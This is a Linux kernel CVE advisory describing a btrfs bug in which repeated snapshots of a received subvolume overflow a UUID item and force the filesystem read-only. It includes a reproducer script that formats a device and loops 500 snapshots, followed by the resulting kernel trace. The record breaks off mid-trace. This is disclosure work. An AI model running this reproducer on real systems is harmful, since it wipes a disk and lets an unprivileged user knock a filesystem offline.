CVE-2026-43361

In the Linux kernel, the following vulnerability has been resolved:

btrfs: fix transaction abort when snapshotting received subvolumes

Currently a user can trigger a transaction abort by snapshotting a
previously received snapshot a bunch of times until we reach a
BTRFS_UUID_KEY_RECEIVED_SUBVOL item overflow (the maximum item size we
can store in a leaf). This is very likely not common in practice, but
if it happens, it turns the filesystem into RO mode. The snapshot, send
and set_received_subvol and subvol_setflags (used by receive) don't
require CAP_SYS_ADMIN, just inode_owner_or_capable(). A malicious user
could use this to turn a filesystem into RO mode and disrupt a system.

Reproducer script:

  $ cat test.sh
  #!/bin/bash

  DEV=/dev/sdi
  MNT=/mnt/sdi

  # Use smallest node size to make the test faster.
  mkfs.btrfs -f --nodesize 4K $DEV
  mount $DEV $MNT

  # Create a subvolume and set it to RO so that it can be used for send.
  btrfs subvolume create $MNT/sv
  touch $MNT/sv/foo
  btrfs property set $MNT/sv ro true

  # Send and receive the subvolume into snaps/sv.
  mkdir $MNT/snaps
  btrfs send $MNT/sv | btrfs receive $MNT/snaps

  # Now snapshot the received subvolume, which has a received_uuid, a
  # lot of times to trigger the leaf overflow.
  total=500
  for ((i = 1; i <= $total; i++)); do
      echo -ne "\rCreating snapshot $i/$total"
      btrfs subvolume snapshot -r $MNT/snaps/sv $MNT/snaps/sv_$i > /dev/null
  done
  echo

  umount $MNT

When running the test:

  $ ./test.sh
  (...)
  Create subvolume '/mnt/sdi/sv'
  At subvol /mnt/sdi/sv
  At subvol sv
  Creating snapshot 496/500ERROR: Could not create subvolume: Value too large for defined data type
  Creating snapshot 497/500ERROR: Could not create subvolume: Read-only file system
  Creating snapshot 498/500ERROR: Could not create subvolume: Read-only file system
  Creating snapshot 499/500ERROR: Could not create subvolume: Read-only file system
  Creating snapshot 500/500ERROR: Could not create subvolume: Read-only file system

And in dmesg/syslog:

  $ dmesg
  (...)
  [251067.627338] BTRFS warning (device sdi): insert uuid item failed -75 (0x4628b21c4ac8d898, 0x2598bee2b1515c91) type 252!
  [251067.629212] ------------[ cut here ]------------
  [251067.630033] BTRFS: Transaction aborted (error -75)
  [251067.630871] WARNING: fs/btrfs/transaction.c:1907 at create_pending_snapshot.cold+0x52/0x465 [btrfs], CPU#10: btrfs/615235
  [251067.632851] Modules linked in: btrfs dm_zero (...)
  [251067.644071] CPU: 10 UID: 0 PID: 615235 Comm: btrfs Tainted: G        W           6.19.0-rc8-btrfs-next-225+ #1 PREEMPT(full)
  [251067.646165] Tainted: [W]=WARN
  [251067.646733] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.2-0-gea1b7a073390-prebuilt.qemu.org 04/01/2014
  [251067.648735] RIP: 0010:create_pending_snapshot.cold+0x55/0x465 [btrfs]
  [251067.649984] Code: f0 48 0f (...)
  [251067.653313] RSP: 0018:ffffce644908fae8 EFLAGS: 00010292
  [251067.653987] RAX: 00000000ffffff01 RBX: ffff8e5639e63a80 RCX: 00000000ffffffd3
  [251067.655042] RDX: ffff8e53faa76b00 RSI: 00000000ffffffb5 RDI: ffffffffc0919750
  [251067.656077] RBP: ffffce644908fbd8 R08: 0000000000000000 R09: ffffce644908f820
  [251067.657068] R10: ffff8e5adc1fffa8 R11: 0000000000000003 R12: ffff8e53c0431bd0
  [251067.658050] R13: ffff8e5414593600 R14: ffff8e55efafd000 R15: 00000000ffffffb5
  [251067.659019] FS:  00007f2a4944b3c0(0000) GS:ffff8e5b27dae000(0000) knlGS:0000000000000000
  [251067.660115] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
  [251067.660943] CR2: 00007ffc5aa57898 CR3: 00000005813a2003 CR4: 0000000000370ef0
  [251067.661972] Call Trace:
  [251067.662292]  <TASK>
  [251067.662653]  create_pending_snapshots+0x97/0xc0 [btrfs]
  [251067.663413]  btrfs_commit_transaction+0x26e/0xc00 [btrfs]
  [251067.664257]  ? btrfs_qgroup_convert_reserved_meta+0x35/0x390 [btrfs]
  [251067.665238]  ? _raw_spin_unlock+0x15/0x30
  [251067.665837]  ? record_root_
---truncated---